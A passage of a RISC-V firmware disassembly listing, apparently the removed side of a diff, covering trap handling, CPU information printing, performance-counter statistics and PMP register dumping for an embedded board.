-20401ac4:	34141073          	csrw	mepc,s0
-20401ac8:	4476                	lw	s0,92(sp)
-20401aca:	50b6                	lw	ra,108(sp)
-20401acc:	52a6                	lw	t0,104(sp)
-20401ace:	5316                	lw	t1,100(sp)
-20401ad0:	5386                	lw	t2,96(sp)
-20401ad2:	44e6                	lw	s1,88(sp)
-20401ad4:	4556                	lw	a0,84(sp)
-20401ad6:	45c6                	lw	a1,80(sp)
-20401ad8:	4636                	lw	a2,76(sp)
-20401ada:	46a6                	lw	a3,72(sp)
-20401adc:	4716                	lw	a4,68(sp)
-20401ade:	4786                	lw	a5,64(sp)
-20401ae0:	5872                	lw	a6,60(sp)
-20401ae2:	58e2                	lw	a7,56(sp)
-20401ae4:	5952                	lw	s2,52(sp)
-20401ae6:	5e42                	lw	t3,48(sp)
-20401ae8:	5eb2                	lw	t4,44(sp)
-20401aea:	5f22                	lw	t5,40(sp)
-20401aec:	5f92                	lw	t6,36(sp)
-20401aee:	6165                	addi	sp,sp,112
-20401af0:	30200073          	mret
-20401af4:	8622                	mv	a2,s0
-20401af6:	4595                	li	a1,5
-20401af8:	00004517          	auipc	a0,0x4
-20401afc:	81850513          	addi	a0,a0,-2024 # 20405310 <_exit+0xfa>
-20401b00:	594010ef          	jal	ra,20403094 <iprintf>
-20401b04:	0411                	addi	s0,s0,4
-20401b06:	bf7d                	j	20401ac4 <trap_handler+0x106>
-20401b08:	8622                	mv	a2,s0
-20401b0a:	4599                	li	a1,6
-20401b0c:	00004517          	auipc	a0,0x4
-20401b10:	83050513          	addi	a0,a0,-2000 # 2040533c <_exit+0x126>
-20401b14:	580010ef          	jal	ra,20403094 <iprintf>
-20401b18:	00044783          	lbu	a5,0(s0)
-20401b1c:	4511                	li	a0,4
-20401b1e:	8b85                	andi	a5,a5,1
-20401b20:	e391                	bnez	a5,20401b24 <trap_handler+0x166>
-20401b22:	4509                	li	a0,2
-20401b24:	9522                	add	a0,a0,s0
-20401b26:	34151073          	csrw	mepc,a0
-20401b2a:	bf79                	j	20401ac8 <trap_handler+0x10a>
-20401b2c:	8622                	mv	a2,s0
-20401b2e:	459d                	li	a1,7
-20401b30:	00004517          	auipc	a0,0x4
-20401b34:	84450513          	addi	a0,a0,-1980 # 20405374 <_exit+0x15e>
-20401b38:	bff1                	j	20401b14 <trap_handler+0x156>
-20401b3a:	8622                	mv	a2,s0
-20401b3c:	45a1                	li	a1,8
-20401b3e:	00004517          	auipc	a0,0x4
-20401b42:	86250513          	addi	a0,a0,-1950 # 204053a0 <_exit+0x18a>
-20401b46:	bf09                	j	20401a58 <trap_handler+0x9a>
-20401b48:	8622                	mv	a2,s0
-20401b4a:	45a5                	li	a1,9
-20401b4c:	00004517          	auipc	a0,0x4
-20401b50:	88c50513          	addi	a0,a0,-1908 # 204053d8 <_exit+0x1c2>
-20401b54:	b711                	j	20401a58 <trap_handler+0x9a>
-20401b56:	8622                	mv	a2,s0
-20401b58:	45ad                	li	a1,11
-20401b5a:	00004517          	auipc	a0,0x4
-20401b5e:	8b650513          	addi	a0,a0,-1866 # 20405410 <_exit+0x1fa>
-20401b62:	bddd                	j	20401a58 <trap_handler+0x9a>
-20401b64:	c62a                	sw	a0,12(sp)
-20401b66:	4619                	li	a2,6
-20401b68:	00004597          	auipc	a1,0x4
-20401b6c:	8e058593          	addi	a1,a1,-1824 # 20405448 <_exit+0x232>
-20401b70:	4505                	li	a0,1
-20401b72:	561010ef          	jal	ra,204038d2 <write>
-20401b76:	46b2                	lw	a3,12(sp)
-20401b78:	8622                	mv	a2,s0
-20401b7a:	85a6                	mv	a1,s1
-20401b7c:	00004517          	auipc	a0,0x4
-20401b80:	8d450513          	addi	a0,a0,-1836 # 20405450 <_exit+0x23a>
-20401b84:	510010ef          	jal	ra,20403094 <iprintf>
-20401b88:	10040437          	lui	s0,0x10040
-20401b8c:	442c                	lw	a1,72(s0)
-20401b8e:	00004517          	auipc	a0,0x4
-20401b92:	8de50513          	addi	a0,a0,-1826 # 2040546c <_exit+0x256>
-20401b96:	4fe010ef          	jal	ra,20403094 <iprintf>
-20401b9a:	446c                	lw	a1,76(s0)
-20401b9c:	00004517          	auipc	a0,0x4
-20401ba0:	8e450513          	addi	a0,a0,-1820 # 20405480 <_exit+0x26a>
-20401ba4:	4f0010ef          	jal	ra,20403094 <iprintf>
-20401ba8:	482c                	lw	a1,80(s0)
-20401baa:	00004517          	auipc	a0,0x4
-20401bae:	8ea50513          	addi	a0,a0,-1814 # 20405494 <_exit+0x27e>
-20401bb2:	4e2010ef          	jal	ra,20403094 <iprintf>
-20401bb6:	4619                	li	a2,6
-20401bb8:	00004597          	auipc	a1,0x4
-20401bbc:	8f058593          	addi	a1,a1,-1808 # 204054a8 <_exit+0x292>
-20401bc0:	4505                	li	a0,1
-20401bc2:	511010ef          	jal	ra,204038d2 <write>
-20401bc6:	67c1                	lui	a5,0x10
-20401bc8:	10178793          	addi	a5,a5,257 # 10101 <__stack_size+0xf901>
-20401bcc:	d81c                	sw	a5,48(s0)
-20401bce:	bded                	j	20401ac8 <trap_handler+0x10a>
-20401bd0:	c62a                	sw	a0,12(sp)
-20401bd2:	4619                	li	a2,6
-20401bd4:	00004597          	auipc	a1,0x4
-20401bd8:	87458593          	addi	a1,a1,-1932 # 20405448 <_exit+0x232>
-20401bdc:	4505                	li	a0,1
-20401bde:	4f5010ef          	jal	ra,204038d2 <write>
-20401be2:	46b2                	lw	a3,12(sp)
-20401be4:	8622                	mv	a2,s0
-20401be6:	85a6                	mv	a1,s1
-20401be8:	00004517          	auipc	a0,0x4
-20401bec:	8c850513          	addi	a0,a0,-1848 # 204054b0 <_exit+0x29a>
-20401bf0:	4a4010ef          	jal	ra,20403094 <iprintf>
-20401bf4:	4619                	li	a2,6
-20401bf6:	00004597          	auipc	a1,0x4
-20401bfa:	8ee58593          	addi	a1,a1,-1810 # 204054e4 <_exit+0x2ce>
-20401bfe:	4505                	li	a0,1
-20401c00:	4d3010ef          	jal	ra,204038d2 <write>
-20401c04:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20401c08:	071010ef          	jal	ra,20403478 <strlen>
-20401c0c:	862a                	mv	a2,a0
-20401c0e:	95818593          	addi	a1,gp,-1704 # 8000d9c8 <inputline>
-20401c12:	4505                	li	a0,1
-20401c14:	4bf010ef          	jal	ra,204038d2 <write>
-20401c18:	4619                	li	a2,6
-20401c1a:	00004597          	auipc	a1,0x4
-20401c1e:	8d658593          	addi	a1,a1,-1834 # 204054f0 <_exit+0x2da>
-20401c22:	4505                	li	a0,1
-20401c24:	4af010ef          	jal	ra,204038d2 <write>
-20401c28:	57fd                	li	a5,-1
-20401c2a:	85be                	mv	a1,a5
-20401c2c:	863e                	mv	a2,a5
-20401c2e:	4519                	li	a0,6
-20401c30:	00300073          	0x300073
-20401c34:	08000793          	li	a5,128
-20401c38:	3047b7f3          	csrrc	a5,mie,a5
-20401c3c:	b571                	j	20401ac8 <trap_handler+0x10a>
-20401c3e:	0c2007b7          	lui	a5,0xc200
-20401c42:	4621                	li	a2,8
-20401c44:	082c                	addi	a1,sp,24
-20401c46:	4501                	li	a0,0
-20401c48:	0047a903          	lw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
-20401c4c:	479010ef          	jal	ra,204038c4 <read>
-20401c50:	842a                	mv	s0,a0
-20401c52:	02a05763          	blez	a0,20401c80 <trap_handler+0x2c2>
-20401c56:	82818493          	addi	s1,gp,-2008 # 8000d898 <buffer>
-20401c5a:	50dc                	lw	a5,36(s1)
-20401c5c:	02000713          	li	a4,32
-20401c60:	40f707b3          	sub	a5,a4,a5
-20401c64:	00f54563          	blt	a0,a5,20401c6e <trap_handler+0x2b0>
-20401c68:	50c0                	lw	s0,36(s1)
-20401c6a:	40870433          	sub	s0,a4,s0
-20401c6e:	50c8                	lw	a0,36(s1)
-20401c70:	8622                	mv	a2,s0
-20401c72:	082c                	addi	a1,sp,24
-20401c74:	9526                	add	a0,a0,s1
-20401c76:	3d2010ef          	jal	ra,20403048 <memcpy>
-20401c7a:	50c8                	lw	a0,36(s1)
-20401c7c:	9522                	add	a0,a0,s0
-20401c7e:	d0c8                	sw	a0,36(s1)
-20401c80:	0c2007b7          	lui	a5,0xc200
-20401c84:	0127a223          	sw	s2,4(a5) # c200004 <__stack_size+0xc1ff804>
-20401c88:	b581                	j	20401ac8 <trap_handler+0x10a>
-
-20401c8a <print_cpu_info>:
-20401c8a:	7179                	addi	sp,sp,-48
-20401c8c:	d606                	sw	ra,44(sp)
-20401c8e:	d422                	sw	s0,40(sp)
-20401c90:	d226                	sw	s1,36(sp)
-20401c92:	301024f3          	csrr	s1,misa
-20401c96:	4705                	li	a4,1
-20401c98:	01e4d793          	srli	a5,s1,0x1e
-20401c9c:	02000413          	li	s0,32
-20401ca0:	00e78863          	beq	a5,a4,20401cb0 <print_cpu_info+0x26>
-20401ca4:	4709                	li	a4,2
-20401ca6:	04000413          	li	s0,64
-20401caa:	00e78363          	beq	a5,a4,20401cb0 <print_cpu_info+0x26>
-20401cae:	4401                	li	s0,0
-20401cb0:	465d                	li	a2,23
-20401cb2:	4581                	li	a1,0
-20401cb4:	0028                	addi	a0,sp,8
-20401cb6:	c202                	sw	zero,4(sp)
-20401cb8:	3cc010ef          	jal	ra,20403084 <memset>
-20401cbc:	4701                	li	a4,0
-20401cbe:	4781                	li	a5,0
-20401cc0:	4669                	li	a2,26
-20401cc2:	00f4d6b3          	srl	a3,s1,a5
-20401cc6:	8a85                	andi	a3,a3,1
-20401cc8:	ce91                	beqz	a3,20401ce4 <print_cpu_info+0x5a>
-20401cca:	100c                	addi	a1,sp,32
-20401ccc:	00170693          	addi	a3,a4,1 # c002001 <__stack_size+0xc001801>
-20401cd0:	972e                	add	a4,a4,a1
-20401cd2:	04178593          	addi	a1,a5,65
-20401cd6:	feb70223          	sb	a1,-28(a4)
-20401cda:	1018                	addi	a4,sp,32
-20401cdc:	9736                	add	a4,a4,a3
-20401cde:	fe070223          	sb	zero,-28(a4)
-20401ce2:	8736                	mv	a4,a3
-20401ce4:	0785                	addi	a5,a5,1
-20401ce6:	fcc79ee3          	bne	a5,a2,20401cc2 <print_cpu_info+0x38>
-20401cea:	0054                	addi	a3,sp,4
-20401cec:	8622                	mv	a2,s0
-20401cee:	85a6                	mv	a1,s1
-20401cf0:	00004517          	auipc	a0,0x4
-20401cf4:	87850513          	addi	a0,a0,-1928 # 20405568 <_exit+0x352>
-20401cf8:	39c010ef          	jal	ra,20403094 <iprintf>
-20401cfc:	f1102473          	csrr	s0,mvendorid
-20401d00:	10e327b7          	lui	a5,0x10e32
-20401d04:	91378793          	addi	a5,a5,-1773 # 10e31913 <__stack_size+0x10e31113>
-20401d08:	00004617          	auipc	a2,0x4
-20401d0c:	fa460613          	addi	a2,a2,-92 # 20405cac <_exit+0xa96>
-20401d10:	02f40263          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d14:	48900793          	li	a5,1161
-20401d18:	00f40e63          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d1c:	57c00793          	li	a5,1404
-20401d20:	00004617          	auipc	a2,0x4
-20401d24:	f9c60613          	addi	a2,a2,-100 # 20405cbc <_exit+0xaa6>
-20401d28:	00f40663          	beq	s0,a5,20401d34 <print_cpu_info+0xaa>
-20401d2c:	00004617          	auipc	a2,0x4
-20401d30:	fa060613          	addi	a2,a2,-96 # 20405ccc <_exit+0xab6>
-20401d34:	85a2                	mv	a1,s0
-20401d36:	00004517          	auipc	a0,0x4
-20401d3a:	85650513          	addi	a0,a0,-1962 # 2040558c <_exit+0x376>
-20401d3e:	356010ef          	jal	ra,20403094 <iprintf>
-20401d42:	f12025f3          	csrr	a1,marchid
-20401d46:	48900793          	li	a5,1161
-20401d4a:	02f41963          	bne	s0,a5,20401d7c <print_cpu_info+0xf2>
-20401d4e:	401017b7          	lui	a5,0x40101
-20401d52:	10578793          	addi	a5,a5,261 # 40101105 <_data_lma+0x1fcfb125>
-20401d56:	00004617          	auipc	a2,0x4
-20401d5a:	f7660613          	addi	a2,a2,-138 # 20405ccc <_exit+0xab6>
-20401d5e:	04f49963          	bne	s1,a5,20401db0 <print_cpu_info+0x126>
-20401d62:	800007b7          	lui	a5,0x80000
-20401d66:	0789                	addi	a5,a5,2
-20401d68:	04f58063          	beq	a1,a5,20401da8 <print_cpu_info+0x11e>
-20401d6c:	4785                	li	a5,1
-20401d6e:	04f59163          	bne	a1,a5,20401db0 <print_cpu_info+0x126>
-20401d72:	00004617          	auipc	a2,0x4
-20401d76:	f6660613          	addi	a2,a2,-154 # 20405cd8 <_exit+0xac2>
-20401d7a:	a81d                	j	20401db0 <print_cpu_info+0x126>
-20401d7c:	57c00793          	li	a5,1404
-20401d80:	00004617          	auipc	a2,0x4
-20401d84:	f4c60613          	addi	a2,a2,-180 # 20405ccc <_exit+0xab6>
-20401d88:	02f41463          	bne	s0,a5,20401db0 <print_cpu_info+0x126>
-20401d8c:	401017b7          	lui	a5,0x40101
-20401d90:	10578793          	addi	a5,a5,261 # 40101105 <_data_lma+0x1fcfb125>
-20401d94:	00f49e63          	bne	s1,a5,20401db0 <print_cpu_info+0x126>
-20401d98:	4785                	li	a5,1
-20401d9a:	00f59b63          	bne	a1,a5,20401db0 <print_cpu_info+0x126>
-20401d9e:	00004617          	auipc	a2,0x4
-20401da2:	f3260613          	addi	a2,a2,-206 # 20405cd0 <_exit+0xaba>
-20401da6:	a029                	j	20401db0 <print_cpu_info+0x126>
-20401da8:	00004617          	auipc	a2,0x4
-20401dac:	f3860613          	addi	a2,a2,-200 # 20405ce0 <_exit+0xaca>
-20401db0:	00003517          	auipc	a0,0x3
-20401db4:	7f850513          	addi	a0,a0,2040 # 204055a8 <_exit+0x392>
-20401db8:	2dc010ef          	jal	ra,20403094 <iprintf>
-20401dbc:	f13025f3          	csrr	a1,mimpid
-20401dc0:	00004517          	auipc	a0,0x4
-20401dc4:	80450513          	addi	a0,a0,-2044 # 204055c4 <_exit+0x3ae>
-20401dc8:	2cc010ef          	jal	ra,20403094 <iprintf>
-20401dcc:	f14025f3          	csrr	a1,mhartid
-20401dd0:	00004517          	auipc	a0,0x4
-20401dd4:	81050513          	addi	a0,a0,-2032 # 204055e0 <_exit+0x3ca>
-20401dd8:	2bc010ef          	jal	ra,20403094 <iprintf>
-20401ddc:	04000593          	li	a1,64
-20401de0:	00004517          	auipc	a0,0x4
-20401de4:	81850513          	addi	a0,a0,-2024 # 204055f8 <_exit+0x3e2>
-20401de8:	2ac010ef          	jal	ra,20403094 <iprintf>
-20401dec:	45c1                	li	a1,16
-20401dee:	00004517          	auipc	a0,0x4
-20401df2:	82650513          	addi	a0,a0,-2010 # 20405614 <_exit+0x3fe>
-20401df6:	29e010ef          	jal	ra,20403094 <iprintf>
-20401dfa:	50b2                	lw	ra,44(sp)
-20401dfc:	5422                	lw	s0,40(sp)
-20401dfe:	5492                	lw	s1,36(sp)
-20401e00:	6145                	addi	sp,sp,48
-20401e02:	8082                	ret
-
-20401e04 <print_stats>:
-20401e04:	7171                	addi	sp,sp,-176
-20401e06:	cf4e                	sw	s3,156(sp)
-20401e08:	d706                	sw	ra,172(sp)
-20401e0a:	d522                	sw	s0,168(sp)
-20401e0c:	d326                	sw	s1,164(sp)
-20401e0e:	d14a                	sw	s2,160(sp)
-20401e10:	cd52                	sw	s4,152(sp)
-20401e12:	cb56                	sw	s5,148(sp)
-20401e14:	c95a                	sw	s6,144(sp)
-20401e16:	c75e                	sw	s7,140(sp)
-20401e18:	4781                	li	a5,0
-20401e1a:	48b9                	li	a7,14
-20401e1c:	4835                	li	a6,13
-20401e1e:	05410993          	addi	s3,sp,84
-20401e22:	02c00313          	li	t1,44
-20401e26:	85c6                	mv	a1,a7
-20401e28:	4521                	li	a0,8
-20401e2a:	00300073          	0x300073
-20401e2e:	86aa                	mv	a3,a0
-20401e30:	85c2                	mv	a1,a6
-20401e32:	4521                	li	a0,8
-20401e34:	00300073          	0x300073
-20401e38:	862a                	mv	a2,a0
-20401e3a:	4501                	li	a0,0
-20401e3c:	00300073          	0x300073
-20401e40:	85c6                	mv	a1,a7
-20401e42:	4521                	li	a0,8
-20401e44:	00300073          	0x300073
-20401e48:	872a                	mv	a4,a0
-20401e4a:	85c2                	mv	a1,a6
-20401e4c:	4521                	li	a0,8
-20401e4e:	00300073          	0x300073
-20401e52:	102c                	addi	a1,sp,40
-20401e54:	95be                	add	a1,a1,a5
-20401e56:	8d11                	sub	a0,a0,a2
-20401e58:	8f15                	sub	a4,a4,a3
-20401e5a:	00f98633          	add	a2,s3,a5
-20401e5e:	c188                	sw	a0,0(a1)
-20401e60:	c218                	sw	a4,0(a2)
-20401e62:	0791                	addi	a5,a5,4
-20401e64:	fc6791e3          	bne	a5,t1,20401e26 <print_stats+0x22>
-20401e68:	103c                	addi	a5,sp,40
-20401e6a:	4601                	li	a2,0
-20401e6c:	4398                	lw	a4,0(a5)
-20401e6e:	00e65363          	bge	a2,a4,20401e74 <print_stats+0x70>
-20401e72:	863a                	mv	a2,a4
-20401e74:	0791                	addi	a5,a5,4
-20401e76:	fef99be3          	bne	s3,a5,20401e6c <print_stats+0x68>
-20401e7a:	00003597          	auipc	a1,0x3
-20401e7e:	7b658593          	addi	a1,a1,1974 # 20405630 <_exit+0x41a>
-20401e82:	0828                	addi	a0,sp,24
-20401e84:	586010ef          	jal	ra,2040340a <siprintf>
-20401e88:	0828                	addi	a0,sp,24
-20401e8a:	5ee010ef          	jal	ra,20403478 <strlen>
-20401e8e:	84aa                	mv	s1,a0
-20401e90:	4401                	li	s0,0
-20401e92:	04000913          	li	s2,64
-20401e96:	00003a97          	auipc	s5,0x3
-20401e9a:	79ea8a93          	addi	s5,s5,1950 # 20405634 <_exit+0x41e>
-20401e9e:	02c00a13          	li	s4,44
-20401ea2:	103c                	addi	a5,sp,40
-20401ea4:	97a2                	add	a5,a5,s0
-20401ea6:	4398                	lw	a4,0(a5)
-20401ea8:	00898633          	add	a2,s3,s0
-20401eac:	4210                	lw	a2,0(a2)
-20401eae:	03274833          	div	a6,a4,s2
-20401eb2:	87a6                	mv	a5,s1
-20401eb4:	86a6                	mv	a3,s1
-20401eb6:	85a6                	mv	a1,s1
-20401eb8:	8556                	mv	a0,s5
-20401eba:	0411                	addi	s0,s0,4
-20401ebc:	1d8010ef          	jal	ra,20403094 <iprintf>
-20401ec0:	ff4411e3          	bne	s0,s4,20401ea2 <print_stats+0x9e>
-20401ec4:	1028                	addi	a0,sp,40
-20401ec6:	00000697          	auipc	a3,0x0
-20401eca:	ae668693          	addi	a3,a3,-1306 # 204019ac <cmpfunc>
-20401ece:	4611                	li	a2,4
-20401ed0:	45ad                	li	a1,11
-20401ed2:	296010ef          	jal	ra,20403168 <qsort>
-20401ed6:	00000697          	auipc	a3,0x0
-20401eda:	ad668693          	addi	a3,a3,-1322 # 204019ac <cmpfunc>
-20401ede:	4611                	li	a2,4
-20401ee0:	45ad                	li	a1,11
-20401ee2:	854e                	mv	a0,s3
-20401ee4:	284010ef          	jal	ra,20403168 <qsort>
-20401ee8:	00003517          	auipc	a0,0x3
-20401eec:	76c50513          	addi	a0,a0,1900 # 20405654 <_exit+0x43e>
-20401ef0:	1a4010ef          	jal	ra,20403094 <iprintf>
-20401ef4:	56f6                	lw	a3,124(sp)
-20401ef6:	5626                	lw	a2,104(sp)
-20401ef8:	45d6                	lw	a1,84(sp)
-20401efa:	00003517          	auipc	a0,0x3
-20401efe:	78650513          	addi	a0,a0,1926 # 20405680 <_exit+0x46a>
-20401f02:	192010ef          	jal	ra,20403094 <iprintf>
-20401f06:	5422                	lw	s0,40(sp)
-20401f08:	54f2                	lw	s1,60(sp)
-20401f0a:	49c6                	lw	s3,80(sp)
-20401f0c:	85a2                	mv	a1,s0
-20401f0e:	8626                	mv	a2,s1
-20401f10:	86ce                	mv	a3,s3
-20401f12:	00003517          	auipc	a0,0x3
-20401f16:	78e50513          	addi	a0,a0,1934 # 204056a0 <_exit+0x48a>
-20401f1a:	17a010ef          	jal	ra,20403094 <iprintf>
-20401f1e:	0329c6b3          	div	a3,s3,s2
-20401f22:	00003517          	auipc	a0,0x3
-20401f26:	79e50513          	addi	a0,a0,1950 # 204056c0 <_exit+0x4aa>
-20401f2a:	0324c633          	div	a2,s1,s2
-20401f2e:	032445b3          	div	a1,s0,s2
-20401f32:	162010ef          	jal	ra,20403094 <iprintf>
-20401f36:	47d5                	li	a5,21
-20401f38:	85be                	mv	a1,a5
-20401f3a:	4521                	li	a0,8
-20401f3c:	00300073          	0x300073
-20401f40:	8b2a                	mv	s6,a0
-20401f42:	85be                	mv	a1,a5
-20401f44:	4521                	li	a0,8
-20401f46:	00300073          	0x300073
-20401f4a:	47d9                	li	a5,22
-20401f4c:	8baa                	mv	s7,a0
-20401f4e:	85be                	mv	a1,a5
-20401f50:	4521                	li	a0,8
-20401f52:	00300073          	0x300073
-20401f56:	842a                	mv	s0,a0
-20401f58:	85be                	mv	a1,a5
-20401f5a:	4521                	li	a0,8
-20401f5c:	00300073          	0x300073
-20401f60:	84aa                	mv	s1,a0
-20401f62:	4561                	li	a0,24
-20401f64:	85aa                	mv	a1,a0
-20401f66:	4521                	li	a0,8
-20401f68:	00300073          	0x300073
-20401f6c:	8aaa                	mv	s5,a0
-20401f6e:	4565                	li	a0,25
-20401f70:	85aa                	mv	a1,a0
-20401f72:	4521                	li	a0,8
-20401f74:	00300073          	0x300073
-20401f78:	862a                	mv	a2,a0
-20401f7a:	4569                	li	a0,26
-20401f7c:	85aa                	mv	a1,a0
-20401f7e:	4521                	li	a0,8
-20401f80:	00300073          	0x300073
-20401f84:	89aa                	mv	s3,a0
-20401f86:	456d                	li	a0,27
-20401f88:	85aa                	mv	a1,a0
-20401f8a:	4521                	li	a0,8
-20401f8c:	00300073          	0x300073
-20401f90:	8a2a                	mv	s4,a0
-20401f92:	0c0a8263          	beqz	s5,20402056 <print_stats+0x252>
-20401f96:	00004517          	auipc	a0,0x4
-20401f9a:	8a650513          	addi	a0,a0,-1882 # 2040583c <_exit+0x626>
-20401f9e:	c632                	sw	a2,12(sp)
-20401fa0:	0f4010ef          	jal	ra,20403094 <iprintf>
-20401fa4:	00003517          	auipc	a0,0x3
-20401fa8:	74050513          	addi	a0,a0,1856 # 204056e4 <_exit+0x4ce>
-20401fac:	0e8010ef          	jal	ra,20403094 <iprintf>
-20401fb0:	00003517          	auipc	a0,0x3
-20401fb4:	6a450513          	addi	a0,a0,1700 # 20405654 <_exit+0x43e>
-20401fb8:	0dc010ef          	jal	ra,20403094 <iprintf>
-20401fbc:	4632                	lw	a2,12(sp)
-20401fbe:	85d6                	mv	a1,s5
-20401fc0:	00003517          	auipc	a0,0x3
-20401fc4:	73450513          	addi	a0,a0,1844 # 204056f4 <_exit+0x4de>
-20401fc8:	0cc010ef          	jal	ra,20403094 <iprintf>
-20401fcc:	8652                	mv	a2,s4
-20401fce:	85ce                	mv	a1,s3
-20401fd0:	00003517          	auipc	a0,0x3
-20401fd4:	74050513          	addi	a0,a0,1856 # 20405710 <_exit+0x4fa>
-20401fd8:	0bc010ef          	jal	ra,20403094 <iprintf>
-20401fdc:	006a5613          	srli	a2,s4,0x6
-20401fe0:	0069d593          	srli	a1,s3,0x6
-20401fe4:	00003517          	auipc	a0,0x3
-20401fe8:	74850513          	addi	a0,a0,1864 # 2040572c <_exit+0x516>
-20401fec:	0a8010ef          	jal	ra,20403094 <iprintf>
-20401ff0:	00004517          	auipc	a0,0x4
-20401ff4:	84c50513          	addi	a0,a0,-1972 # 2040583c <_exit+0x626>
-20401ff8:	09c010ef          	jal	ra,20403094 <iprintf>
-20401ffc:	00003517          	auipc	a0,0x3
-20402000:	75050513          	addi	a0,a0,1872 # 2040574c <_exit+0x536>
-20402004:	090010ef          	jal	ra,20403094 <iprintf>
-20402008:	6941                	lui	s2,0x10
-2040200a:	00003517          	auipc	a0,0x3
-2040200e:	64a50513          	addi	a0,a0,1610 # 20405654 <_exit+0x43e>
-20402012:	082010ef          	jal	ra,20403094 <iprintf>
-20402016:	197d                	addi	s2,s2,-1
-20402018:	010bd613          	srli	a2,s7,0x10
-2040201c:	012b75b3          	and	a1,s6,s2
-20402020:	00003517          	auipc	a0,0x3
-20402024:	73c50513          	addi	a0,a0,1852 # 2040575c <_exit+0x546>
-20402028:	06c010ef          	jal	ra,20403094 <iprintf>
-2040202c:	01247433          	and	s0,s0,s2
-20402030:	0104d613          	srli	a2,s1,0x10
-20402034:	85a2                	mv	a1,s0
-20402036:	00003517          	auipc	a0,0x3
-2040203a:	74250513          	addi	a0,a0,1858 # 20405778 <_exit+0x562>
-2040203e:	056010ef          	jal	ra,20403094 <iprintf>
-20402042:	0164d613          	srli	a2,s1,0x16
-20402046:	00645593          	srli	a1,s0,0x6
-2040204a:	00003517          	auipc	a0,0x3
-2040204e:	74a50513          	addi	a0,a0,1866 # 20405794 <_exit+0x57e>
-20402052:	042010ef          	jal	ra,20403094 <iprintf>
-20402056:	50ba                	lw	ra,172(sp)
-20402058:	542a                	lw	s0,168(sp)
-2040205a:	549a                	lw	s1,164(sp)
-2040205c:	590a                	lw	s2,160(sp)
-2040205e:	49fa                	lw	s3,156(sp)
-20402060:	4a6a                	lw	s4,152(sp)
-20402062:	4ada                	lw	s5,148(sp)
-20402064:	4b4a                	lw	s6,144(sp)
-20402066:	4bba                	lw	s7,140(sp)
-20402068:	614d                	addi	sp,sp,176
-2040206a:	8082                	ret
-
-2040206c <print_pmp>:
-2040206c:	711d                	addi	sp,sp,-96
-2040206e:	3b0027f3          	csrr	a5,pmpaddr0
-20402072:	caa6                	sw	s1,84(sp)
-20402074:	c4d2                	sw	s4,72(sp)
-20402076:	c2d6                	sw	s5,68(sp)
-20402078:	de5e                	sw	s7,60(sp)
-2040207a:	c83e                	sw	a5,16(sp)
-2040207c:	ce86                	sw	ra,92(sp)
-2040207e:	3b1027f3          	csrr	a5,pmpaddr1
-20402082:	cca2                	sw	s0,88(sp)
-20402084:	ca3e                	sw	a5,20(sp)
-20402086:	c0da                	sw	s6,64(sp)
-20402088:	3b2027f3          	csrr	a5,pmpaddr2
-2040208c:	01010b93          	addi	s7,sp,16
-20402090:	cc3e                	sw	a5,24(sp)
-20402092:	4481                	li	s1,0
-20402094:	3b3027f3          	csrr	a5,pmpaddr3
-20402098:	4a21                	li	s4,8
-2040209a:	ce3e                	sw	a5,28(sp)
-2040209c:	02000a93          	li	s5,32
-204020a0:	3b4027f3          	csrr	a5,pmpaddr4
-204020a4:	d03e                	sw	a5,32(sp)
-204020a6:	3b5027f3          	csrr	a5,pmpaddr5
-204020aa:	d23e                	sw	a5,36(sp)
-204020ac:	3b6027f3          	csrr	a5,pmpaddr6
-204020b0:	d43e                	sw	a5,40(sp)
-204020b2:	3b7027f3          	csrr	a5,pmpaddr7
-204020b6:	d63e                	sw	a5,44(sp)
-204020b8:	c8ca                	sw	s2,80(sp)
-204020ba:	c6ce                	sw	s3,76(sp)
-204020bc:	3a002973          	csrr	s2,pmpcfg0
-204020c0:	3a1029f3          	csrr	s3,pmpcfg1
-204020c4:	8626                	mv	a2,s1
-204020c6:	854a                	mv	a0,s2
-204020c8:	85ce                	mv	a1,s3
-204020ca:	34b000ef          	jal	ra,20402c14 <__lshrdi3>
-204020ce:	0ff57513          	andi	a0,a0,255
-204020d2:	cd25                	beqz	a0,2040214a <print_pmp+0xde>
-204020d4:	00157793          	andi	a5,a0,1
-204020d8:	07200713          	li	a4,114
-204020dc:	e399                	bnez	a5,204020e2 <print_pmp+0x76>
-204020de:	02d00713          	li	a4,45
-204020e2:	00e10223          	sb	a4,4(sp)
-204020e6:	00257793          	andi	a5,a0,2
-204020ea:	07700713          	li	a4,119
-204020ee:	e399                	bnez	a5,204020f4 <print_pmp+0x88>
-204020f0:	02d00713          	li	a4,45
-204020f4:	00e102a3          	sb	a4,5(sp)
-204020f8:	00457793          	andi	a5,a0,4
-204020fc:	07800713          	li	a4,120
-20402100:	e399                	bnez	a5,20402106 <print_pmp+0x9a>
-20402102:	02d00713          	li	a4,45
-20402106:	00e10323          	sb	a4,6(sp)
-2040210a:	000103a3          	sb	zero,7(sp)
-2040210e:	c402                	sw	zero,8(sp)
-20402110:	00011623          	sh	zero,12(sp)
-20402114:	8961                	andi	a0,a0,24
-20402116:	05451b63          	bne	a0,s4,2040216c <print_pmp+0x100>
-2040211a:	000bab03          	lw	s6,0(s7)
-2040211e:	ffcba403          	lw	s0,-4(s7)
-20402122:	00003597          	auipc	a1,0x3
-20402126:	68e58593          	addi	a1,a1,1678 # 204057b0 <_exit+0x59a>
-2040212a:	0b0a                	slli	s6,s6,0x2
-2040212c:	040a                	slli	s0,s0,0x2
-2040212e:	1b7d                	addi	s6,s6,-1
-20402130:	0028                	addi	a0,sp,8
-20402132:	334010ef          	jal	ra,20403466 <strcpy>
-20402136:	0038                	addi	a4,sp,8
-20402138:	0054                	addi	a3,sp,4
-2040213a:	865a                	mv	a2,s6
-2040213c:	85a2                	mv	a1,s0
-2040213e:	00003517          	auipc	a0,0x3
-20402142:	68250513          	addi	a0,a0,1666 # 204057c0 <_exit+0x5aa>
-20402146:	74f000ef          	jal	ra,20403094 <iprintf>
-2040214a:	04a1                	addi	s1,s1,8
-2040214c:	04000793          	li	a5,64
-20402150:	0b91                	addi	s7,s7,4
-20402152:	f6f499e3          	bne	s1,a5,204020c4 <print_pmp+0x58>
-20402156:	40f6                	lw	ra,92(sp)
-20402158:	4466                	lw	s0,88(sp)
-2040215a:	44d6                	lw	s1,84(sp)
-2040215c:	4946                	lw	s2,80(sp)
-2040215e:	49b6                	lw	s3,76(sp)
-20402160:	4a26                	lw	s4,72(sp)
